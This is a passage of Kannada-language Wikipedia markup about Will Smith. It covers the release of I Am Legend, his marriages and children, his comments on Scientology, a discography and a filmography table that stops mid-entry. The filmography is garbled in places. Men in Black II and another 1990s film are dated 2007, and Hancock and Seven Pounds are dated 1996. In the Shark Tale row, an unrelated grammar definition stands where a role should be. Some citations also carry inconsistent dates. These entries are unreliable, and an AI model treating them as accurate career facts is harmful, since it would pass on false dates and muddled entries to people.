|url=http://www.hhworlds.com/f11/12-11-07-will-smith-immortalized-grauman-s-chinese-theater-9841.html#post102972 |title=''HHWorlds.com'' - Will Smith Immortalized At Grauman's Chinese Theater |access-date=2010-02-25 |archive-date=2010-01-17 |archive-url=https://web.archive.org/web/20100117055805/http://www.hhworlds.com/f11/12-11-07-will-smith-immortalized-grauman-s-chinese-theater-9841.html#post102972 |url-status=dead }}</ref> ಆ ತಿಂಗಳ ನಂತರದಲ್ಲಿ, ಸ್ಮಿಥ್ ಅಭಿನಯಿಸಿದ ಚಿತ್ರ ''[[I Am Legend]]'' ಡಿಸೆಂಬರ್ 14, 2007ರಂದು ತೆರೆಕಂಡಿತು, ಸಕಾರಾತ್ಮಕ ಪ್ರತಿಕ್ರಿಯೆಗಳಿಂದಾಗಿ,<ref>[http://www.rottentomatoes.com/m/i_am_legend/ Rotten Tomatoes: I Am Legend]</ref> ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ ಆ ಚಿತ್ರದ ಬಿಡುಗಡೆಯು ಡಿಸೆಂಬರ್‌ನಲ್ಲಿ ಬಹಳ ಅದ್ದೂರಿಯಾಗಿ ನಡೆಯಿತು.<ref>[http://www.stv.tv/content/out/film/videointerviews/display.html?id=opencms:/out/films/video_interviews/will_smith_i_am_legend_interview Will Smith: He is a legend] {{Webarchive|url=https://web.archive.org/web/20081010221635/http://www.stv.tv/content/out/film/videointerviews/display.html?id=opencms%3A%2Fout%2Ffilms%2Fvideo_interviews%2Fwill_smith_i_am_legend_interview |date=2008-10-10 }} video interview with [[stv.tv]], December 2007</ref> ಸ್ಮಿತ್ ತಾನೇ ಹೇಳುವಂತೆ ಆತ ಈ ಚಿತ್ರವನ್ನು "ಅಗ್ರೆಸ್ಸಿವ್‌ಲಿ ಯುನ್ನೀಕ್" ಎಂದು ಹೊಗಳಿದ್ದಾರೆ. ಒಬ್ಬ ವಿಮರ್ಶಕ ಹೇಳುವಂತೆ ಚಿತ್ರದ ಆರ್ಥಿಕ ಯಶಸ್ಸು "ಹಾಲಿವುಡ್‌ನ ಗಲ್ಲಾಪೆಟ್ಟಿಗೆಯ ಮೊದಲ ಸ್ಥಾನದಲ್ಲಿ ಗಟ್ಟಿಯಾಗಿ ತಳವೂರುತ್ತದೆ"<ref>{{cite news | url=http://www.rottentomatoes.com/news/1697664 | title=Box Office Guru Wrapup: Will Smith Rescues Industry With Explosive Opening For I Am Legend | author=Gitesh Pandya | publisher=[[Rotten Tomatoes]] | date=2007-12-16 | accessdate=2007-12-17 | archive-date=2008-06-03 | archive-url=https://web.archive.org/web/20080603055646/http://www.rottentomatoes.com/news/1697664/ | url-status=dead }}</ref> ಡಿಸೆಂಬರ್ 1, 2008ರಲ್ಲಿ, [[TV ಗೈಡ್]] ವರದಿಯಲ್ಲಿ ಸ್ಮಿತ್ ಅಮೇರಿಕಾದ ಅತ್ಯಂತ ಮೋಡಿಮಾಡಿದ 2008ರ ಮೊದಲ ಹತ್ತು ಜನರಲ್ಲಿ ಒಬ್ಬ ಎಂದಿದ್ದಾನೆ, ಆ [[ಬಾರ್ಬರಾ ವಾಲ್ಟರ್ಸ್]] [[ABC]] ವಿಶೇಷ ಕಾರ್ಯಕ್ರಮ ಡಿಸೆಂಬರ್ 4, 2008ರಂದು ಪ್ರಸಾರವಾಯಿತು.<ref>[http://www.tvguide.com/News/Barbara-Walters-Special-1000398.aspx Barbara Walters Gets Up Close with 2008's Most Fascinating People] {{Webarchive|url=https://web.archive.org/web/20090526090629/http://www.tvguide.com/News/Barbara-Walters-Special-1000398.aspx |date=2009-05-26 }}" ''[[TV Guide]]'' . ಡಿಸೆಂಬರ್ 9, 2008. ರಿಟ್ರೈವ್‌ಡ್ ಆನ್ ಡಿಸೆಂಬರ್ 14, 2007.</ref> ಪ್ರಸ್ತುತ ಸ್ಮಿತ್ ''The Last Pharaoh'' ಎಂಬ ಚಿತ್ರವನ್ನು ನಿರ್ಮಿಸುತ್ತಿದ್ದಾರೆ, ಅದರಲ್ಲಿ ಅವರುin [[ಟಹರ್ಕಾ]] ಪಾತ್ರವನ್ನು ನಿಭಾಯಿಸುತ್ತಾರೆ.<ref>{{cite news | title = Jim Slotek, Kevin Williamson | title = Will Smith set to conquer Egypt? | publisher = Jam Showbiz | date = 2008-03-23 | url = http://jam.canoe.ca/Movies/Artists/S/Smith_Will/2008/03/23/5078376-sun.html | accessdate=2008-03-23}}</ref> [[ಪ್ರೆಸಿಡೆಂಟ್]] [[ಬರಾಕ್ ಒಬಾಮ]] ಅವರು ಎಂದಾದರೂ ತಮ್ಮ ಜೀವನದ ಚಿತ್ರ ನಿರ್ಮಿಸುವುದಾದರೆ ಅದರ ಪಾತ್ರದಲ್ಲಿ ಸ್ಮಿತ್‌ರನ್ನು ಆಯ್ಕೆ ಮಾಡಿಕೊಳ್ಳುತ್ತೇನೆ ಏಕೆಂದರೆ "ಅವರಿಗೆ ಕಿವಿಗಳಿವೆ" ಎಂದು ಹೇಳಿದ್ದಾರೆ. ಒಬಾಮ ಮತ್ತು ಸ್ಮಿತ್ ಇಬ್ಬರೂ 2008ರ ಚುನಾವಣೆಯ ಬಗ್ಗೆ ಚಲನಚಿತ್ರ ನಿರ್ಮಿಸುವ ಬಗ್ಗೆ ಚರ್ಚಿಸಿದ್ದಾರೆ, ಆದರೆ ಇದು ಒಬಾಮ ಅದ್ಯಕ್ಷ ಸ್ಥಾನದಲ್ಲಿರುವವರೆಗೂ ಸಾಧ್ಯವಿಲ್ಲ.<ref name="SmithObamaCinematicPick">{{Cite web|url=http://www.suntimes.com/entertainment/people/813369,obamamovies022608.article|title=In the movie of Obama's life, he'd pick Will Smith to star|publisher=[[Sun-Times]]|accessdate=2009-12-9|date=2008-02-26|quote=Will and I have talked about this because he has the ears!|archive-date=2009-04-11|archive-url=https://web.archive.org/web/20090411090516/http://www.suntimes.com/entertainment/people/813369,obamamovies022608.article|url-status=dead}}</ref> == ವೈಯಕ್ತಿಕ ಜೀವನ == ಸ್ಮಿತ್‌ ಅವರನ್ನು ಅವರ ತಂದೆ ತಾಯಿ, ವಿಲ್ಲರ್ಡ್ ಮತ್ತು ಕ್ಯಾರೋಲಿನ್ [[ವೆಸ್ಟ್ ಫಿಲಡೆಲ್ಫಿಯ]]ದಲ್ಲಿ ಬೆಳೆಸಿದರು. ಸ್ಮಿತ್ ತನ್ನ ತಂದೆಯು ಮೂರು ಮಕ್ಕಳನ್ನು ನೋಡಿಕೊಂಡಿದುದರ ಬಗ್ಗೆ ಮಾಡಿದ ತ್ಯಾಗಗಳ ಬಗ್ಗೆ ಹೀಗೆ ಹೇಳುತ್ತಾರೆ: " ನನ್ನ ತಂದೆಯು ತನ್ನ ಎಲ್ಲ ಮಕ್ಕಳಿಗೆ ಊಟ ಮಾಡಿಸುವುದು ಹಾಗೂ ಬಟ್ಟೆಹಾಕುವುದರ ಜೊತೆಯಲ್ಲಿ ಅವರು ನಮಗೋಸ್ಕರ ತಮ್ಮ ಸಮಯವನ್ನು ನೀಡುವುದರ ಜೊತೆಗೆ ಎಲ್ಲವನ್ನೂ ಅವರು ನಿರ್ವಹಿಸುತ್ತಿದ್ದ ರೀತಿಯನ್ನು ನಾನು ನೋಡಿದ್ದೇನೆ"<ref>{{Cite web |url=http://www.people.com/people/gallery/0,,661258_5,00.html |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-02-25 |archive-date=2009-06-02 |archive-url=https://web.archive.org/web/20090602140445/http://www.people.com/people/gallery/0,,661258_5,00.html |url-status=dead }}</ref>. ಸ್ಮಿತ್ ಅವರು ಶಿರೀ ಝಾಂಪಿನೊ ಅವರನ್ನು 1992 ರಲ್ಲಿ ವಿವಾಹವಾದರು. ಅವರು "ಟ್ರೆ" ಎಂದು ಕರೆಯಲ್ಪಡುತ್ತಿದ್ದ ವಿಲ್ಲರ್ಡ್ ಕ್ರಿಸ್ಟೋಫರ್ ಅಮಿಥ್ III ಹೆಸರಿನ ಒಬ್ಬ ಮಗನನ್ನು ಹೊಂದಿದ್ದರು. ಆದರೆ 1995ರಲ್ಲಿ ವಿಚ್ಛೇದನ ಪಡೆದರು ಟ್ರೆ ಅವರ ತಂದೆಯ 1998ರ ಸಂಗೀತದ ವೀಡಿಯೋ "Just The Two Of Us"ನಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾರೆ. ಸ್ಮಿತ್ 1997ರಲ್ಲಿ ನಟಿ[[ಜಾಡ ಪಿಂಕೆಟ್]] ಅವರನ್ನು ವಿವಾಹವಾದರು ಅವರಿಬ್ಬರಿಗೆ ಎರಡು ಮಕ್ಕಳಿದ್ದು: [[ಜಡೆನ್ ಕ್ರಿಸ್ಟೋಫರ್ ಸೈರ್]] (ಹುಟ್ಟಿದ್ದು 1998), ಅವನು ತನ್ನ ತಂದೆಯ ಜೊತೆಯಲ್ಲಿ ''[[ದ ಪರ್ಸ್ಯೂಟ್ ಆಫ್ ಹ್ಯಾಪಿನೆಸ್‌]]'' ನಲ್ಲಿ ಅಭಿನಯಿಸಿದ್ದಾನೆ, ಮತ್ತು ಮಗಳು [[ವಿಲ್ಲೋ ಕ್ಯಾಮಿಲ್ಲೆ ರೀನ್]](ಹುಟ್ಟಿದ್ದು 2000), ಇವಳು ಕೂಡಾ ಸ್ಮಿತ್ ಅವರ ಮಗಳಾಗಿ "ಐ ಯಾಮ್ ಲಿಜೆಂಡ್‌"ನಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾಳೆ . ಅವರು ತಮ್ಮ ಸೋದರನ ಜೊತೆ Treyball Development Inc.,<ref>[http://www.treyballdevelopment.com Treyball Development]</ref> ಹೊಂದಿದ್ದಾರೆ, [[Beverly Hills]]-ಮೂಲದ ಕಂಪನಿಯಾಗಿದ್ದು ಮೊದಲ ಮಗನ ಹೆಸರಿಡಲಾಗಿದೆ. ಸ್ಮಿತ್ ಅವರು ಸತತವಾಗಿ [[Fortune Magazine]]ನ "Richest 40" ಪಟ್ಟಿಯಲ್ಲಿದ್ದಾರೆ, ಅಮೇರಿಕದ ನಲವತ್ತು ವಯಸ್ಸಿನೊಳಗಿನ ನಲವತ್ತು ಅತಿ ಶ್ರೀಮಂತರಲ್ಲಿ ಒಬ್ಬರಾಗಿದ್ದಾರೆ. ಸ್ಮಿತ್ ಮತ್ತು ಅವರ ಕುಟುಂಬವು [[ಮಿಯಾಮಿ ಬೀಚ್, ಫ್ಲೋರಿಡಾ]]ದ [[ಸ್ಟಾರ್ ಐಲ್ಯಾಂಡ್‌]]ನಲ್ಲಿ ಹಾಗೂ ಲಾಸ್ ಏಂಜಲೀಸ್, [[ಸ್ಟಾಕ್‌ಹೋಮ್, ಸ್ವೀಡನ್]]<ref>http://www.dailymail.co.uk/home/moslive/article-500394/Hail-chief-Mr-Will-Smith-shall-Washington.html</ref> ಮತ್ತು [[ಫಿಲಡೆಲ್ಫಿಯಾ]]ದಲ್ಲಿ ಕೂಡಾ ವಾಸಿಸುತ್ತಾರೆ. ಸ್ಮಿತ್ ಅವರು [[ಡೆಮೊಕ್ರಾಟ್‌]]ನ [[ಬರಾಕ್ ಒಬಾಮಾ]] ರಾಷ್ಟ್ರಪತಿ ಚುನಾವಣೆ ಪ್ರಚಾರಕ್ಕಾಗಿ $4,600 ಹಣವನ್ನು ದಾನಮಾಡಿದ್ದಾರೆ <ref name="NewsMeat">{{cite web|url=http://www.newsmeat.com/celebrity_political_donations/Will_Smith.php|title=Will Smith's Federal Campaign Contribution Report|accessdate=2008-01-11|work=newsmeat.com}}</ref> ಸ್ಮಿಥ್ ಅವರ ಹೇಳಿಕೆಪ್ರಕಾರ ಅವರು ,[[ವೈಜ್ಞಾನಿಕ ಧರ್ಮ]] ಒಳಗೊಂಡಂತೆ ವಿವಿದ ಧರ್ಮಗಳನ್ನು ವ್ಯಾಸಂಗ ಮಾಡಿದ್ದಾರೆ, ಮತ್ತು ವೈಜ್ಞಾನಿಕ ಧರ್ಮ ಮತ್ತು ನಂಬಿಕೆಯ ಬಗ್ಗೆ ಬಹಳ ಪ್ರಶಂಸನೀಯ ಮಾತನ್ನಾಡಿದ್ದಾರೆ. ವೈಜ್ಞಾನಿಕ ಧರ್ಮದ ಬಗ್ಗೆ ಪ್ರಶಂಸಿದರೂ, ಸ್ಮಿತ್ ಹೇಳುವಂತೆ " ನಾನು ವೈಜ್ಞಾನಿಕ ಧರ್ಮದ ಬಗ್ಗೆ ಮತ್ತು ಅದರ ಮೇಧಾವಿತನದ ಹಾಗೂ ಕ್ರಾಂತಿಯ ಹಾಗೂ ಅದರಲ್ಲಿನ ಧರ್ಮಶ್ರದ್ಧೆ ಇಲ್ಲದಿರುವ ಬಹಳಷ್ಟು ಆಲೋಚನೆಗಳು ನನ್ನಲ್ಲಿವೆ"<ref>{{cite news|url=http://www.hollywood.com/news/Smith_Turns_Down_Cruises_Scientology_Bid/3591886|title=Smith Turns Down Cruise's Scientology Bid|publisher=Hollywood.com|date=2006-12-01|archiveurl=https://archive.today/20120629020523/http://www.hollywood.com/news/Smith_Turns_Down_Cruises_Scientology_Bid/3591886|archivedate=2012-06-29|access-date=2010-02-25|url-status=live}}</ref><ref>{{cite news|url=http://www.blender.com/guide/articles.aspx?id=1604|title=Dear Superstar: Will Smith|publisher=Blender|author=Clark Collis|date=June 2005}}</ref> ಮತ್ತು " ತೊಂಬತ್ತೆಂಟು ಪ್ರತಿಶತ ಅದರ ತತ್ವಗಳು [[ಬೈಬಲ್‌]]ನ ತತ್ವಗಳನ್ನು ಹೋಲುತ್ತವೆ...... ನಾನು ಕೆಲವರು ಬಳಸುವ ಆತ್ಮ ಶಬ್ಧದ ಅರ್ಥ '[[ಥೇಟನ್]]' ಎಂದು ನಾನು ಯೋಚಿಸುವುದಿಲ್ಲ ಅದಕ್ಕೆ ಕೂಡಾ ಬೇರೆ ಒಂದು ಅರ್ಥವಿದೆ."<ref>{{cite news|title=Will Smith Admits to Studying Scientology With Tom Cruise|publisher=US Magazine|url=http://www.usmagazine.com/node/13443|date=2007-11-20}}</ref> ಅವರು [[Church of Scientology]]ಯನ್ನು ಸೇರಿಕೊಂಡಿಲ್ಲವೆಂದು ಸ್ಪಷ್ಟಪಡಿಸಿ "ನಾನು ಒಬ್ಬ ಕ್ರಿಶ್ಚಿಯನ್. ನಾನು ಎಲ್ಲ ಧರ್ಮದ ವಿಧ್ಯಾರ್ಥಿ, ಮತ್ತು ನಾನು ಎಲ್ಲಾ ಜನರನ್ನು ಮತ್ತು ಎಲ್ಲಾ ದಾರಿಯನ್ನು ಗೌರವಿಸುತ್ತೇನೆ "ಎಂದು ಹೇಳಿದ್ದಾರೆ .<ref>{{cite news|title=Will and Jada are not Scientologists|publisher=MSN Entertainment|url=http://entertainment.uk.msn.com/news/article.aspx?cp-documentid=7843428|date=2008-03-18|access-date=2010-02-25|archive-date=2009-05-10|archive-url=https://web.archive.org/web/20090510224928/http://entertainment.uk.msn.com/news/article.aspx?cp-documentid=7843428|url-status=dead}}</ref> ಅದಾದನಂತರ ಅವರ ಹೆಂಡತಿ ಜಾಡ, ''[[Collateral]]'' ಎಂಬ ಚಲನಚಿತ್ರವನ್ನು ಕ್ರೂಸ್‌ನ ಜೊತೆ 2004ರಲ್ಲಿ ನಿರ್ಮಿಸಿದರು, ಆ ಜೋಡಿಯು [[USD$]]20,000 ಮೊತ್ತವನ್ನು HELP ಎಂದು ಕರೆಯಲ್ಪಡುವ ಹಾಲಿವುಡ್ ಎಜುಕೇಶನ್ ಅಂಡ್ ಲಿಟೆರಸಿ ಪ್ರೋಗ್ರಾಮ್, ಒಂದು ವೈಜ್ಞಾನಿಕ ಧರ್ಮದ ಅರಿವು ಮೂಡಿಸುವ ಪ್ರಚಾರ ಕಾರ್ಯಕ್ರಮಕ್ಕಾಗಿ ದಾನ ಮಾಡಿತು, ಅದು ವೈಜ್ಞಾನಿಕ ಧರ್ಮದ [[ಹೋಮ್ ಸ್ಕೂಲಿಂಗ್]] ಸಿಸ್ಟಂನ ಅಡಿಪಾಯ .<ref>{{cite news|title=Will Smith's Charities Include Scientology|author=Roger Friedman|publisher=[[Fox News Channel]]|url=http://www.foxnews.com/story/0,2933,316808,00.html|date=2007-12-14}}</ref> == ಧ್ವನಿಮುದ್ರಿಕೆ ಪಟ್ಟಿ == {{Main|Will Smith discography}} * ''[[Big Willie Style]] '' (1997) * ''[[ವಿಲ್ಲೆನಿಯಮ್]]'' (1999) * ''[[ಬಾರ್ನ್ ಟು ರೀನ್]]'' (2002) * ''[[ಲಾಸ್ಟ್ ಅಂಡ್ ಫೌಂಡ್]]'' (2005) * ''TBA'' (2016) == ಚಲನಚಿತ್ರಗಳ ಪಟ್ಟಿ == {|class="wikitable" style="font-size: 90%;" ಅಂಚು="2" cellpadding="4" background: #f9f9f9; |- column="center" ! style="background:#B0C4DE;" | ವರ್ಷ ! style="background:#B0C4DE;" | ಚಿತ್ರ ! style="background:#B0C4DE;" | ಪಾತ್ರ ! style="background:#B0C4DE;" | Salary ([[US$]])<ref>http://www.the-numbers.com/people/WSMIT.php</ref>{{Verify source|date=November 2009}} ! style="background:#B0C4DE;" | ಟಿಪ್ಪಣಿಗಳು |- | rowspan="3"| 1986 |''ಸ್ಯಾಟರ್ಡೇ ಮಾರ್ನಿಂಗ್ ವೀಡಿಯೋಸ್'' |ನಿರೂಪಕ | |TV |- |''[[ABC ಆಫ್ಟರ್ ಸ್ಕೂಲ್ ಸ್ಪೆಶಲ್]]'' - "ದ ಪರ್ಫೆಕ್ಟ್ ಡೇಟ್" |Hawker | |TV |- |''[[ದ ಫ್ರೆಶ್ ಪ್ರಿನ್ಸ್ ಆಫ್ ಬೆಲ್-ಏರ್]]'' |[[ವಿಲಿಯಮ್ "ವಿಲ್" ಸ್ಮಿತ್]] | |TV (1990-1996) |- | rowspan="2"| 2007 |ಹೂವು |ಪ್ರೆಶ್ ಪ್ರಿನ್ಸ್ | |TV, ಕ್ಯಾಮಿಯೋ |- |''[[ವೇರ್ ದ ಡೇ ಟೇಕ್ಸ್ ಯು]]'' |ಮನ್ನಿ |50,000 | |- |rowspan="2"| 1993 |''[[ಮೇಡ್ ಇನ್ ಅಮೇರಿಕಾ]]'' |ಟೀ ಕೇಕ್ ವಾಲ್ಟರ್ಸ್ |100,000 | |- |''[[ಸಿಕ್ಸ್ ಡಿಗ್ರೀಸ್ ಆಫ್ ಸೆಪರೇಶನ್]]'' |ಪಾಲ್ |500,000 | |- |1995 |''[[ಬ್ಯಾಡ್ ಬಾಯ್ಸ್]]'' |ಡಿಟೆಕ್ಟಿವ್ ಮೈಕ್ ಲೋರಿ |2,000,000 | |- |1996 |''[[ಇಂಡಿಪೆಂಡೆನ್ಸ್ ಡೇ]]'' | ಕ್ಯಾಪ್ಟನ್ ಸ್ಟೀವನ್ "ಸ್ಟೀವ್" ಹಿಲ್ಲರ್, USMC |5,000,000 |MTV ಮೂವೀ ಪ್ರಶಸ್ತಿ‌ (ಅತ್ಯುತ್ತಮ ಚುಂಬನ) |- |1997 |ಮೆನ್ ಇನ್ ಬ್ಲ್ಯಾಕ್ |[[ಜೇಮ್ಸ್ ಡರ್ರೆಲ್ ಎಡ್ವರ್ಡ್ಸ್ / ಏಜೆಂತ್ J]] |5,000,000 |ಎಮ್‌ಟಿವಿ ಮೂವೀ ಪ್ರಶಸ್ತಿ‌ (ಅತ್ಯುತ್ತಮ ಸೆಣಸಾಟ)<br />[[ಚಿತ್ರದ ಉತ್ತಮ ಹಾಡಿಗಾಗಿ MTV ಚಲನಚಿತ್ರ ಪ್ರಶಸ್ತಿ]] |- |1998 |''[[ಎನಿಮಿ ಆಫ್ ದ ಸ್ಟೇಟ್]]'' |ರಾಬರ್ಟ್ ಕ್ಲೇಯಾನ್ ಡೀನ್ |14,000,000 |ನಾಮನಿರ್ದೇಶಿತ — [[ಒಂದು ಚಲನೆಯಲ್ಲಿರುವ ಚಿತ್ರದ ಅದ್ಭುತ ನಟನೆಗಾಗಿ NAACP ಇಮೇಜ್ ಪ್ರಶಸ್ತಿ]] |- | rowspan="2"| 1999 |''[[ಟೊರೆನ್ಸ್ ರೈಸಸ್]]'' | | |ಕಿರುಪಾತ್ರ |- |''[[ವೈಲ್ಡ್ ವೈಲ್ಡ್ ವೆಸ್ಟ್]]'' |ಕ್ಯಾಪ್ಟನ್ ಜೇಮ್ಸ್ "ಜಿಮ್" ವೆಸ್ಟ್ |7,000,000 | |- | rowspan ="2"|2000 |''[[ವೆಲ್‌ಕಮ್ ಟು ಹಾಲಿವುಡ್]]'' |ತಮ್ಮದೇ ನಿಜಜೀವನದ ಪಾತ್ರ | | |- |''[[The Legend of Bagger Vance]]'' |Bagger Vance |10,000,000 |ನಾಮನಿರ್ದೇಶಿತ — [[ಒಂದು ಚಲನೆಯಲ್ಲಿರುವ ಚಿತ್ರದ ಅದ್ಭುತ ನಟನೆಗಾಗಿ NAACP ಇಮೇಜ್ ಪ್ರಶಸ್ತಿ]] |- |2001 |''[[ಅಲಿ]]'' |[[ಮೊಹಮ್ಮದ್ ಅಲಿ]] |20,000,000 |ಅತ್ಯುತ್ತಮ ನಟನೆಗಾಗಿ MTV ಮೂವೀ ಅವಾರ್ಡ್‌<br />| ನಾಮನಿರ್ದೇಶಿತ – ಅಕಾಡೆಮಿ ಪ್ರಶಸ್ತಿ‌ (ಅತ್ಯುತ್ತಮ ನಟ)<br />ನಾಮನಿರ್ದೇಶಿತ — [[ಬ್ರಾಡ್‍ಕಾಸ್ಟ್ ಚಲನಚಿತ್ರದ ವಿಮರ್ಶಕರ ಸಂಘದ ಉತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]]<br />| ನಾಮನಿರ್ದೇಶಿತ – ಗೋಲ್ಡನ್‌ ಗ್ಲೋಬ್‌ (ಅತ್ಯುತ್ತಮ ನಟ) – ಮೋಷನ್‌ ಪಿಕ್ಚರ್‌ ಡ್ರಾಮಾ<br />ನಾಮನಿರ್ದೇಶಿತ — [[ಒಂದು ಚಲನೆಯಲ್ಲಿರುವ ಚಿತ್ರದ ಅದ್ಭುತ ನಟನೆಗಾಗಿ NAACP ಇಮೇಜ್ ಪ್ರಶಸ್ತಿ]] |- |rowspan="2"| 2007 |''[[ಮೆನ್ ಇನ್ ಬ್ಲ್ಯಾಕ್ II]]'' |[[ಜೇಮ್ಸ್ ಡಾರೆಲ್/ ಏಜೆಂಟ್ J]] |20,000,000<br />+ 10% of the gross |[[ಉತ್ತಮನಟನೆಗೆ ಬೆಟ್ ಪ್ರಶಸ್ತಿ]] <br />ನಾಮನಿರ್ದೇಶಿತ — [[ಉತ್ತಮ ನಟನೆಗೆ ಬ್ಲ್ಯಾಕ್ ರೀಲ್ ಪ್ರಶಸ್ತಿ]] |- |ಗರ್ಲ್ ಫ್ರೆಂಡ್ ಬೈ[[B2K]] |ತಮ್ಮದೇ ನಿಜಜೀವನದ ಪಾತ್ರ |ಸಂಗೀತ ವಿಡಿಯೊ |- |2003 |ಬ್ಯಾಡ್‌ ಬಾಯ್ಸ್‌ II |ಡಿಟೆಕ್ಟಿವ್ ಮೈಕ್ ಲೋರಿ |20,000,000<br />+ 20% of the gross |ನಾಮನಿರ್ದೇಶಿತ — [[ಒಂದು ಚಲನೆಯಲ್ಲಿರುವ ಚಿತ್ರದ ಅದ್ಭುತ ನಟನೆಗಾಗಿ NAACP ಇಮೇಜ್ ಪ್ರಶಸ್ತಿ]] |- | rowspan="5"| 2004 |''ಎ ಕ್ಲೋಸರ್ ವಾಕ್'' |ನಿರೂಪಕ/ವಿವರಣೆಕಾರ | |ಡಾಕ್ಯುಮೆಂಟರಿ |- |ಜೆರ್ಸಿ ಗರ್ಲ್ |ತಮ್ಮದೇ ನಿಜಜೀವನದ ಪಾತ್ರ | |ಅನ್‌ಕ್ರೆಡಿಟೆಡ್ ಕ್ಯಾಮಿಯೊ |- |''[[ಅಮೆರಿಕನ್ ಚಾಪರ್]]'' |ತಮ್ಮದೇ ನಿಜಜೀವನದ ಪಾತ್ರ | |TV, ಕ್ಯಾಮಿಯೋ |- |''[[I, ರೋಬೋಟ್]]'' |ಡಿಟೆಕ್ಟಿವ್ ಡೆಲ್ ಸ್ಪೂನರ್ |28,000,000 | ನಿರ್ಮಾಪಕ<br />ನಾಮನಿರ್ದೇಶಿತ — [[ಒಂದು ಚಲನೆಯಲ್ಲಿರುವ ಚಿತ್ರದ ಅದ್ಭುತ ನಟನೆಗಾಗಿ NAACP ಇಮೇಜ್ ಪ್ರಶಸ್ತಿ]] |- | ಶಾರ್ಕ್ ಟೆಲ್ ಆಸ್ಕರ್ ಪ್ರಶಸ್ತಿಗಳು |15,000,000 ಕರ್ತರಿ/ಕರ್ಮಣಿ ಪ್ರಯೋಗದ ರೂಪ(ಕರ್ತೃವಿಗೂ ಕ್ರಿಯೆಗೂ ಸಂಬಂಧ ರೂಪಿಸುವ ಕ್ರಿಯಾರೂಪಗಳಲ್ಲಿ ಒಂದು) |- |rowspan="2"| 2005 |''There's a God on the Mic'' | | |ಡಾಕ್ಯುಮೆಂಟರಿ |- |''[[Hitch]]'' |Alex "Hitch" Hitchens |20,000,000 | ನಿರ್ಮಾಪಕ<br />ನಾಮನಿರ್ದೇಶಿತ — [[ಉತ್ತಮನಟನೆಗೆ BET ಪ್ರಶಸ್ತಿ]]<br />ನಾಮನಿರ್ದೇಶಿತ — ಉತ್ತಮ ನಟನಾಗಿ ಬ್ಲ್ಯಾಕ್ ಮೂವಿ ಪ್ರಶಸ್ತಿ<br />ನಾಮನಿರ್ದೇಶಿತ — [[ಉತ್ತಮ ನಟನಾಗಿ ಬ್ಲ್ಯಾಕ್ ರೀಲ್ ಪ್ರಶಸ್ತಿ]] <br />ನಾಮನಿರ್ದೇಶಿತ — [[ಒಂದು ಚಲನೆಯಲ್ಲಿರುವ ಚಿತ್ರದ ಅದ್ಭುತ ನಟನೆಗಾಗಿ NAACP ಇಮೇಜ್ ಪ್ರಶಸ್ತಿ]] |- |2006 |''[[ದ ಪರ್ಸ್ಯೂಟ್ ಆಫ್ ಹ್ಯಾಪಿನೆಸ್]]'' |[[ಕ್ರಿಸ್ ಗಾರ್ಡ್‌ನರ್]] |10,000,000<br />+ 20% of the gross | ನಿರ್ಮಾಪಕ ನಾಮನಿರ್ದೇಶಿತ – ಅಕಾಡೆಮಿ ಪ್ರಶಸ್ತಿ‌ (ಅತ್ಯುತ್ತಮ ನಟ)<br />ನಾಮನಿರ್ದೇಶಿತ — [[ಉತ್ತಮ ನಟನಾಗಿ ಬ್ಲ್ಯಾಕ್ ರೀಲ್ ಪ್ರಶಸ್ತಿ]] <br />ನಾಮನಿರ್ದೇಶಿತ — [[ಬ್ರಾಡ್‍ಕಾಸ್ಟ್ ಚಲನಚಿತ್ರದ ವಿಮರ್ಶಕರ ಸಂಘದ ಉತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]]<br />ನಾಮನಿರ್ದೇಶಿತ – ಶಿಕಾಗೊ ಫಿಲ್ಮ್‌ ಕ್ರಿಟಿಕ್ಸ್‌ ಅಸೋಷಿಯೇಷನ್‌ ಪ್ರಶಸ್ತಿ‌ (ಅತ್ಯುತ್ತಮ ಪೋಷಕ ನಟ)<br />| ನಾಮನಿರ್ದೇಶಿತ – ಗೋಲ್ಡನ್‌ ಗ್ಲೋಬ್‌ (ಅತ್ಯುತ್ತಮ ನಟ) – ಮೋಷನ್‌ ಪಿಕ್ಚರ್‌ ಡ್ರಾಮಾ<br />ನಾಮನಿರ್ದೇಶಿತ — [[ಒಂದು ಚಲನೆಯಲ್ಲಿರುವ ಚಿತ್ರದ ಅದ್ಭುತ ನಟನೆಗಾಗಿ NAACP ಇಮೇಜ್ ಪ್ರಶಸ್ತಿ]]<br />ನಾಮನಿರ್ದೇಶಿತ – ಸ್ಕ್ರೀನ್‌ ಆಕ್ಟರ್ಸ್‌ ಗಿಲ್ಡ್‌ ಪ್ರಶಸ್ತಿ‌ (ಮುಖ್ಯ ಪಾತ್ರದಲ್ಲಿ ಪುರುಷ ವಿಭಾಗದಲ್ಲಿ ಅತ್ಯುತ್ತಮ ನಟನೆ) |- |2007 |''[[ಐಯಾಮ್ ಲಿಜೆಂಡ್]]'' |Dr. ರಾಬರ್ಟ್ ನೆವಿಲ್ಲೆ |25,000,000 | ನಿರ್ಮಾಪಕ [[ಅತ್ಯುತ್ತಮ ನಟನೆಗಾಗಿ MTV ಮೂವೀ ಪ್ರಶಸ್ತಿ]]<br />[[ಸ್ಯಾಟರ್ನ್‌ ಪ್ರಶಸ್ತಿ‌ (ಅತ್ಯುತ್ತಮ ನಟ)]]<br />ನಾಮನಿರ್ದೇಶಿತ— [[BET ಉತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]]<br />ನಾಮನಿರ್ದೇಶಿತ — [[ಒಂದು ಚಲನೆಯಲ್ಲಿರುವ ಚಿತ್ರದ ಅದ್ಭುತ ನಟನೆಗಾಗಿ NAACP ಇಮೇಜ್ ಪ್ರಶಸ್ತಿ]] |- | rowspan="4"| 1996 |''[[ಹ್ಯಾಂಕಾಕ್]]'' |ಜಾನ್ ಹ್ಯಾಂಕಾಕ್ |20,000,000<br />+ 20% of the gross | ನಿರ್ಮಾಪಕ |- |''[[ಲೇಕ್ ವೀವ್ ಟೆರ್ರೇಸ್]]'' | | | ನಿರ್ಮಾಪಕ |- |''[[ದ ಸೀಕ್ರೆಟ್ ಲೈಫ್ ಆಫ್ ಬೀಸ್]]'' | | | ನಿರ್ಮಾಪಕ |- |''[[ಸೆವೆನ್ ಪೌಂಡ್ಸ್]]'' |ಬೆನ್ ಥಾಮಸ್ | | ನಿರ್ಮಾಪಕ |- |2010 |''[[ದ 